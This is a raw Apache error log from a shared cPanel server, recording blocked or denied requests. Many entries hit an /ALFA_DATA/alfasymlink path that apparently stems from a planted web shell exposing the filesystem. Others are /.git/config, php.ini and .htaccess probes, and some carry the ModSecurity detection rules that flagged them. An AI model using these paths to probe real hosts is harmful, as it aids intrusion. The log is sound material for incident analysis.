[Sat Oct 24 07:02:51.351992 2026] [core:error] [pid 2607845:tid 2607845] (13)Permission denied: [client 185.191.171.13:41270] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/skbuff_fclone_cache/destroy_by_rcu
[Sat Oct 24 07:02:57.755144 2026] [security2:error] [pid 2607243:tid 2607243] [client 172.64.200.30:14022] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.git/ found within REQUEST_FILENAME: /.git/config"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "curso-de-ventas.com"] [uri "/.git/config"] [unique_id "atyQYVGNStwISql-V9e9OwAAAAs"]
[Sat Oct 24 07:02:57.755382 2026] [security2:error] [pid 2607243:tid 2607243] [client 172.64.200.30:14022] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "curso-de-ventas.com"] [uri "/.git/config"] [unique_id "atyQYVGNStwISql-V9e9OwAAAAs"]
[Sat Oct 24 07:02:57.755725 2026] [security2:error] [pid 2607243:tid 2607243] [client 172.64.200.30:14022] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "curso-de-ventas.com"] [uri "/.git/config"] [unique_id "atyQYVGNStwISql-V9e9OwAAAAs"]
[Sat Oct 24 07:03:02.476348 2026] [ssl:error] [pid 2625272:tid 2625272] (70014)End of file found: [client 54.83.180.239:17773] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 07:03:06.273283 2026] [core:error] [pid 2607845:tid 2607845] (13)Permission denied: [client 34.225.24.180:56185] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/devices/system/memory/memory11/node0/cpu1/driver/cpu0/firmware_node/subsystem/devices/PNP0A03:00/device:01/PNP0303:00/physical_node1/driver/unbind
[Sat Oct 24 07:03:07.478252 2026] [core:error] [pid 2607843:tid 2607843] (13)Permission denied: [client 85.208.96.212:49166] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/module/ip_set/sections/__bug_table
[Sat Oct 24 07:03:26.305059 2026] [core:error] [pid 2625272:tid 2625272] (13)Permission denied: [client 35.169.119.108:27921] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/class/pci_bus/0000:00/device/firmware_node/device:07/subsystem/devices/LNXSYBUS:00/ACPI0010:00/LNXCPU:01/physical_node/node0/memory14/node0/memory23/subsystem/drivers_probe
[Sat Oct 24 07:03:30.611985 2026] [ssl:error] [pid 2607243:tid 2607243] (70014)End of file found: [client 34.239.197.197:8898] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 07:03:34.341178 2026] [core:error] [pid 2608810:tid 2608810] (13)Permission denied: [client 35.171.117.160:64746] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/thread-self/cwd/sys/class/tty/tty49/subsystem/tty60/subsystem/ttyS1/type
[Sat Oct 24 07:03:42.320881 2026] [ssl:error] [pid 2625330:tid 2625330] (70014)End of file found: [client 44.206.93.215:50190] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 07:03:54.354054 2026] [ssl:error] [pid 2607843:tid 2607843] (70014)End of file found: [client 54.225.181.161:19767] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 07:03:58.627951 2026] [core:error] [pid 2608731:tid 2608731] (13)Permission denied: [client 85.208.96.210:37508] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/iint_cache/destroy_by_rcu
[Sat Oct 24 07:04:06.208792 2026] [authz_core:error] [pid 2607843:tid 2607843] [client 71.6.242.174:4678] AH01630: client denied by server configuration: /home/cursodeventas/public_html/php.ini
[Sat Oct 24 07:04:06.569036 2026] [core:error] [pid 2608731:tid 2608731] (13)Permission denied: [client 52.0.41.164:49337] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/bus/node/devices/node0/cpu1/firmware_node/subsystem/devices/PNP0A03:00/device:01/PNP0400:00/subsystem/drivers/ec/uevent
[Sat Oct 24 07:04:10.313682 2026] [core:error] [pid 2607845:tid 2607845] (13)Permission denied: [client 3.221.156.96:50931] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/devices/system/memory/memory20/node0/memory13/node0/subsystem/drivers_probe
[Sat Oct 24 07:04:14.461992 2026] [ssl:error] [pid 2625330:tid 2625330] (70014)End of file found: [client 35.174.253.85:53706] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 07:04:24.993521 2026] [core:error] [pid 2607843:tid 2607843] (13)Permission denied: [client 185.191.171.7:11622] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/sgpool-32/slabs
[Sat Oct 24 07:04:42.681205 2026] [ssl:error] [pid 2603807:tid 2603807] (70014)End of file found: [client 34.199.252.22:3482] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 07:04:54.800737 2026] [ssl:error] [pid 2607843:tid 2607843] (70014)End of file found: [client 34.234.200.207:26641] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 07:04:58.518168 2026] [ssl:error] [pid 2608811:tid 2608811] (70014)End of file found: [client 54.90.8.255:61974] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 07:05:08.082549 2026] [authz_core:error] [pid 2608731:tid 2608731] [client 45.79.139.7:32128] AH01630: client denied by server configuration: /home/sherwinpinturas/public_html/error_log
[Sat Oct 24 07:05:10.990879 2026] [core:error] [pid 2607845:tid 2607845] (13)Permission denied: [client 85.208.96.212:46674] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/x86_emulator/aliases
[Sat Oct 24 07:05:14.574537 2026] [core:crit] [pid 2625330:tid 2625330] (13)Permission denied: [client 71.6.238.127:15452] AH00529: /home/cursodeventas/public_html/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/cursodeventas/public_html/' is executable
[Sat Oct 24 07:05:18.356058 2026] [ssl:error] [pid 2607843:tid 2607843] (70014)End of file found: [client 100.24.167.60:18990] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 07:05:30.395587 2026] [ssl:error] [pid 2607843:tid 2607843] (70014)End of file found: [client 100.27.153.9:60240] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 07:05:34.702768 2026] [ssl:error] [pid 2607845:tid 2607845] (70014)End of file found: [client 34.193.2.57:17371] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 07:05:38.633350 2026] [ssl:error] [pid 2608811:tid 2608811] (70014)End of file found: [client 34.231.45.47:44116] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 07:05:44.655750 2026] [ssl:error] [pid 2625330:tid 2625330] (70014)End of file found: [client 185.191.171.19:44618] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 07:05:46.571340 2026] [ssl:error] [pid 2607845:tid 2607845] (70014)End of file found: [client 3.235.215.92:62980] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 07:05:54.532382 2026] [ssl:error] [pid 2608731:tid 2608731] (70014)End of file found: [client 54.152.163.42:34254] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 07:05:58.429077 2026] [ssl:error] [pid 2625330:tid 2625330] (70014)End of file found: [client 44.194.139.149:30307] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 07:05:59.312239 2026] [authz_core:error] [pid 2607843:tid 2607843] [client 5.102.169.102:47226] AH01630: client denied by server configuration: /home/cursodeventas/public_html/php.ini
[Sat Oct 24 07:05:59.386691 2026] [authz_core:error] [pid 2607843:tid 2607843] [client 5.102.169.102:47226] AH01630: client denied by server configuration: /home/cursodeventas/public_html/php.ini
[Sat Oct 24 07:05:59.458378 2026] [authz_core:error] [pid 2608810:tid 2608810] [client 5.102.169.102:60438] AH01630: client denied by server configuration: /home/cursodeventas/public_html/php.ini
[Sat Oct 24 07:05:59.464162 2026] [authz_core:error] [pid 2607845:tid 2607845] [client 5.102.169.102:52984] AH01630: client denied by server configuration: /home/cursodeventas/public_html/php.ini
[Sat Oct 24 07:05:59.465890 2026] [authz_core:error] [pid 2609012:tid 2609012] [client 5.102.169.102:40994] AH01630: client denied by server configuration: /home/cursodeventas/public_html/php.ini
[Sat Oct 24 07:06:02.527050 2026] [ssl:error] [pid 2625272:tid 2625272] (70014)End of file found: [client 107.20.255.194:2811] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 07:06:10.699492 2026] [ssl:error] [pid 2608731:tid 2608731] (70014)End of file found: [client 50.17.193.48:25310] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 07:06:14.596402 2026] [ssl:error] [pid 2607843:tid 2607843] (70014)End of file found: [client 23.21.148.226:47629] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 07:06:22.991451 2026] [ssl:error] [pid 2607845:tid 2607845] (70014)End of file found: [client 3.213.46.222:18625] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 07:06:32.294250 2026] [security2:error] [pid 2607843:tid 2607843] [client 34.74.37.180:40798] ModSecurity: Warning. Pattern match "\\\\b(keep-alive|close),\\\\s?(keep-alive|close)\\\\b" at REQUEST_HEADERS:Connection. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "198"] [id "920210"] [rev "2"] [msg "Multiple/Conflicting Connection Header Data Found."] [data "keep-alive, close"] [severity "WARNING"] [ver "OWASP_CRS/3.0.0"] [maturity "6"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/PROTOCOL_VIOLATION/INVALID_HREQ"] [hostname "recursos2.sherwinpinturas.com"] [uri "/.git/config"] [unique_id "atyROASwRuPA-FjBma7IeQAAAAI"]
[Sat Oct 24 07:06:32.294504 2026] [security2:error] [pid 2607843:tid 2607843] [client 34.74.37.180:40798] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.git/ found within REQUEST_FILENAME: /.git/config"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "recursos2.sherwinpinturas.com"] [uri "/.git/config"] [unique_id "atyROASwRuPA-FjBma7IeQAAAAI"]
[Sat Oct 24 07:06:32.294743 2026] [security2:error] [pid 2607843:tid 2607843] [client 34.74.37.180:40798] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 8)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "recursos2.sherwinpinturas.com"] [uri "/.git/config"] [unique_id "atyROASwRuPA-FjBma7IeQAAAAI"]
[Sat Oct 24 07:06:32.295003 2026] [security2:error] [pid 2607843:tid 2607843] [client 34.74.37.180:40798] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 8 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "recursos2.sherwinpinturas.com"] [uri "/.git/config"] [unique_id "atyROASwRuPA-FjBma7IeQAAAAI"]
[Sat Oct 24 07:06:46.653885 2026] [ssl:error] [pid 2608731:tid 2608731] (70014)End of file found: [client 100.28.44.58:50788] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 07:06:58.466114 2026] [ssl:error] [pid 2607243:tid 2607243] (70014)End of file found: [client 34.224.132.215:42779] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 07:07:02.489227 2026] [ssl:error] [pid 2608731:tid 2608731] (5)Input/output error: [client 52.45.92.83:29937] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 07:07:05.776347 2026] [core:error] [pid 2607843:tid 2607843] (13)Permission denied: [client 85.208.96.211:33510] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/ksm_mm_slot/cpu_partial
[Sat Oct 24 07:07:18.440529 2026] [ssl:error] [pid 2603807:tid 2603807] (70014)End of file found: [client 34.195.248.30:14201] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 07:07:23.314066 2026] [ssl:error] [pid 2625330:tid 2625330] (70014)End of file found: [client 100.28.204.82:18803] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 07:07:34.466361 2026] [ssl:error] [pid 2626288:tid 2626288] (5)Input/output error: [client 52.7.33.248:2714] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 07:07:42.457980 2026] [ssl:error] [pid 2607843:tid 2607843] (70014)End of file found: [client 34.231.77.232:18431] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 07:07:50.623252 2026] [ssl:error] [pid 2609012:tid 2609012] (70014)End of file found: [client 54.85.109.140:9737] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 07:07:54.469504 2026] [core:error] [pid 2626288:tid 2626288] (13)Permission denied: [client 44.206.93.215:9103] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/class/pci_bus/0000:00/device/firmware_node/device:0a/subsystem/devices/PNP0A03:00/wakeup/wakeup7/device/physical_node/0000:00:03.0/subsystem/slots/24/module/uevent
[Sat Oct 24 07:07:58.564095 2026] [ssl:error] [pid 2607843:tid 2607843] (70014)End of file found: [client 34.194.95.99:63172] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 07:08:06.512995 2026] [ssl:error] [pid 2603807:tid 2603807] (70014)End of file found: [client 3.231.193.38:60948] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 07:08:11.376478 2026] [core:error] [pid 2626288:tid 2626288] (13)Permission denied: [client 85.208.96.199:54708] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/jbd2_journal_handle/cpu_slabs
[Sat Oct 24 07:08:14.607535 2026] [ssl:error] [pid 2607843:tid 2607843] (70014)End of file found: [client 85.208.96.212:57910] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 07:08:15.886340 2026] [core:crit] [pid 2608811:tid 2608811] (13)Permission denied: [client 71.6.245.122:43716] AH00529: /home/cursodeventas/public_html/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/cursodeventas/public_html/' is executable
[Sat Oct 24 07:08:20.390742 2026] [core:crit] [pid 2607243:tid 2607243] (13)Permission denied: [client 71.6.237.189:9890] AH00529: /home/cursodeventas/public_html/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/cursodeventas/public_html/' is executable
[Sat Oct 24 07:08:30.515520 2026] [ssl:error] [pid 2607843:tid 2607843] (70014)End of file found: [client 18.208.11.93:35285] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 07:08:36.422094 2026] [ssl:error] [pid 2603807:tid 2603807] (70014)End of file found: [client 85.208.96.194:36738] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 07:08:38.503405 2026] [ssl:error] [pid 2608731:tid 2608731] (70014)End of file found: [client 54.156.55.147:13209] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 07:08:42.535464 2026] [ssl:error] [pid 2608811:tid 2608811] (70014)End of file found: [client 3.224.215.150:53325] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 07:08:46.519164 2026] [ssl:error] [pid 2626288:tid 2626288] (70014)End of file found: [client 44.194.139.149:27868] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 07:08:50.490416 2026] [ssl:error] [pid 2609012:tid 2609012] (70014)End of file found: [client 34.194.165.45:6828] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 07:08:54.616515 2026] [ssl:error] [pid 2607843:tid 2607843] (70014)End of file found: [client 52.202.233.37:18711] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 07:08:58.641610 2026] [ssl:error] [pid 2607243:tid 2607243] (70014)End of file found: [client 44.212.106.171:29780] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 07:09:02.638805 2026] [ssl:error] [pid 2603807:tid 2603807] (70014)End of file found: [client 44.194.139.149:8908] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 07:09:06.543480 2026] [ssl:error] [pid 2625330:tid 2625330] (70014)End of file found: [client 52.45.77.169:34149] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 07:09:10.585261 2026] [ssl:error] [pid 2607845:tid 2607845] (70014)End of file found: [client 3.225.9.97:46123] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 07:09:14.536101 2026] [ssl:error] [pid 2625272:tid 2625272] (70014)End of file found: [client 23.21.179.120:4606] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 07:09:26.546123 2026] [ssl:error] [pid 2625330:tid 2625330] (70014)End of file found: [client 54.80.73.122:12510] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 07:09:30.598262 2026] [ssl:error] [pid 2607845:tid 2607845] (70014)End of file found: [client 52.200.142.199:30215] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 07:09:34.866604 2026] [core:error] [pid 2608731:tid 2608731] (13)Permission denied: [client 18.215.24.66:61737] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/devices/pci0000:00/0000:00:01.0/firmware_node/PNP0303:00/physical_node1/drvctl
[Sat Oct 24 07:09:38.635900 2026] [core:error] [pid 2625272:tid 2625272] (13)Permission denied: [client 52.70.138.176:1707] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/class/input/event1/subsystem/input0/subsystem/input3/device/driver/serio1/driver/module/uevent
[Sat Oct 24 07:09:41.592473 2026] [core:error] [pid 2608811:tid 2608811] (13)Permission denied: [client 85.208.96.202:57048] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/inotify_inode_mark/ctor
[Sat Oct 24 07:09:42.721643 2026] [ssl:error] [pid 2626288:tid 2626288] (70014)End of file found: [client 54.221.203.24:49286] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 07:09:46.671111 2026] [ssl:error] [pid 2607243:tid 2607243] (70014)End of file found: [client 18.207.79.144:43066] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 07:09:47.395604 2026] [core:error] [pid 2603807:tid 2603807] (13)Permission denied: [client 85.208.96.202:39832] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/kmalloc-cg-64/hwcache_align
[Sat Oct 24 07:09:54.715777 2026] [ssl:error] [pid 2608731:tid 2608731] (70014)End of file found: [client 18.215.24.66:26976] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 07:09:58.569141 2026] [core:error] [pid 2625272:tid 2625272] (13)Permission denied: [client 52.73.6.26:39468] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/devices/pci0000:00/firmware_node/device:18/subsystem/devices/device:05/physical_node/subsystem/drivers/virtio-pci/remove_id
[Sat Oct 24 07:10:02.598940 2026] [core:error] [pid 2626288:tid 2626288] (13)Permission denied: [client 18.215.49.176:16660] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/devices/pci0000:00/firmware_node/device:05/subsystem/devices/LNXPWRBN:00/subsystem/drivers/ec/uevent
[Sat Oct 24 07:10:06.564882 2026] [ssl:error] [pid 2607243:tid 2607243] (70014)End of file found: [client 52.71.46.142:24389] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 07:10:10.711380 2026] [core:error] [pid 2625330:tid 2625330] (13)Permission denied: [client 52.0.41.164:50003] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/root/sys/class/input/event0/subsystem/input1/device/firmware_node/subsystem/devices/PNP0A03:00/device:08/eject
[Sat Oct 24 07:10:14.760425 2026] [core:error] [pid 2607843:tid 2607843] (13)Permission denied: [client 18.211.148.239:35899] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/bus/node/devices/node0/cpu1/firmware_node/subsystem/devices/PNP0A03:00/device:03/physical_node/subsystem/drivers/pci-stub/unbind
[Sat Oct 24 07:10:19.054495 2026] [core:error] [pid 2607845:tid 2607845] (13)Permission denied: [client 52.2.58.41:37119] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/devices/pnp0/00:01/firmware_node/subsystem/devices/device:05/wakeup/wakeup5/device/physical_node/driver/0000:00:03.0/subsystem/drivers/vmd/bind
[Sat Oct 24 07:10:22.609385 2026] [ssl:error] [pid 2608731:tid 2608731] (70014)End of file found: [client 52.204.89.12:1347] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 07:10:26.614113 2026] [ssl:error] [pid 2625272:tid 2625272] (70014)End of file found: [client 52.205.113.104:32988] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 07:10:34.712890 2026] [ssl:error] [pid 2609012:tid 2609012] (70014)End of file found: [client 98.82.39.241:50179] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 07:10:38.624750 2026] [ssl:error] [pid 2607243:tid 2607243] (70014)End of file found: [client 3.217.171.106:23339] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 07:10:42.754914 2026] [ssl:error] [pid 2603807:tid 2603807] (70014)End of file found: [client 100.29.128.75:12552] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 07:10:50.606285 2026] [ssl:error] [pid 2608731:tid 2608731] (70014)End of file found: [client 98.83.8.142:62265] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 07:10:54.624672 2026] [ssl:error] [pid 2625272:tid 2625272] (70014)End of file found: [client 52.45.194.165:10009] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 07:10:58.663675 2026] [ssl:error] [pid 2626288:tid 2626288] (70014)End of file found: [client 100.29.107.38:42541] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 07:11:03.008825 2026] [ssl:error] [pid 2607243:tid 2607243] (70014)End of file found: [client 18.205.127.11:59917] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 07:11:03.009013 2026] [security2:error] [pid 2607243:tid 2607243] [client 18.205.127.11:59917] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/sys/class/pci_bus/0000:00/device/firmware_node/device:0a/subsystem/devices/PNP0A03:00/wakeup/wakeup7/device/physical_node/0000:00:05.0/subsystem/drivers/ata_generic/module/rhelversion"] [unique_id "atySR1GNStwISql-V9e9YwAAAAs"]
[Sat Oct 24 07:11:03.009043 2026] [security2:error] [pid 2607243:tid 2607243] [client 18.205.127.11:59917] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/sys/class/pci_bus/0000:00/device/firmware_node/device:0a/subsystem/devices/PNP0A03:00/wakeup/wakeup7/device/physical_node/0000:00:05.0/subsystem/drivers/ata_generic/module/rhelversion"] [unique_id "atySR1GNStwISql-V9e9YwAAAAs"]
[Sat Oct 24 07:11:10.322583 2026] [core:error] [pid 2625330:tid 2625330] (13)Permission denied: [client 85.208.96.206:49518] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/ip_fib_alias/align
[Sat Oct 24 07:11:10.730592 2026] [core:error] [pid 2607843:tid 2607843] (13)Permission denied: [client 34.224.9.144:29135] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/bus/node/devices/node0/cpu1/firmware_node/subsystem/devices/PNP0A03:00/device:03/physical_node/subsystem/drivers/pci-stub/remove_id
[Sat Oct 24 07:11:14.727008 2026] [ssl:error] [pid 2607845:tid 2607845] (70014)End of file found: [client 3.221.156.96:26289] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 07:11:17.918865 2026] [core:error] [pid 2625272:tid 2625272] (13)Permission denied: [client 85.208.96.212:14866] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/shmem_inode_cache/cpu_partial
[Sat Oct 24 07:11:22.781289 2026] [ssl:error] [pid 2626288:tid 2626288] (70014)End of file found: [client 52.1.157.90:3108] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 07:11:25.879772 2026] [core:crit] [pid 2609012:tid 2609012] (13)Permission denied: [client 101.33.66.34:59814] AH00529: /home/cursodeventas/public_html/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/cursodeventas/public_html/' is executable
[Sat Oct 24 07:11:26.627750 2026] [core:error] [pid 2607243:tid 2607243] (13)Permission denied: [client 52.200.58.199:35301] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/class/pci_bus/0000:00/device/firmware_node/device:05/subsystem/devices/PNP0A03:00/device:07/subsystem/devices/device:06/physical_node/driver/module/uevent
[Sat Oct 24 07:11:30.860905 2026] [ssl:error] [pid 2625330:tid 2625330] (70014)End of file found: [client 52.22.87.224:3907] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 07:11:34.710169 2026] [ssl:error] [pid 2607843:tid 2607843] (5)Input/output error: [client 23.21.250.48:30399] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 07:11:38.671967 2026] [ssl:error] [pid 2607845:tid 2607845] (70014)End of file found: [client 100.24.167.60:39410] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 07:11:50.727477 2026] [ssl:error] [pid 2609012:tid 2609012] (70014)End of file found: [client 35.172.125.172:37170] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 07:11:54.857563 2026] [ssl:error] [pid 2607243:tid 2607243] (70014)End of file found: [client 52.203.237.170:64825] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 07:11:58.763226 2026] [ssl:error] [pid 2603807:tid 2603807] (70014)End of file found: [client 52.3.102.51:20735] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 07:12:08.003824 2026] [core:error] [pid 2608731:tid 2608731] (13)Permission denied: [client 185.191.171.11:31744] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/radix_tree_node/align
[Sat Oct 24 07:12:14.692831 2026] [ssl:error] [pid 2609012:tid 2609012] (70014)End of file found: [client 54.198.33.233:34671] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 07:12:18.770498 2026] [ssl:error] [pid 2625330:tid 2625330] (70014)End of file found: [client 54.197.82.195:40897] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 07:12:28.479996 2026] [security2:error] [pid 2625330:tid 2625330] [client 185.191.171.3:58090] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/proc/self/cwd/scripts/backups_list_user_files"] [unique_id "atySnPMnT_rHlxLKOWDmeAAAAAc"]
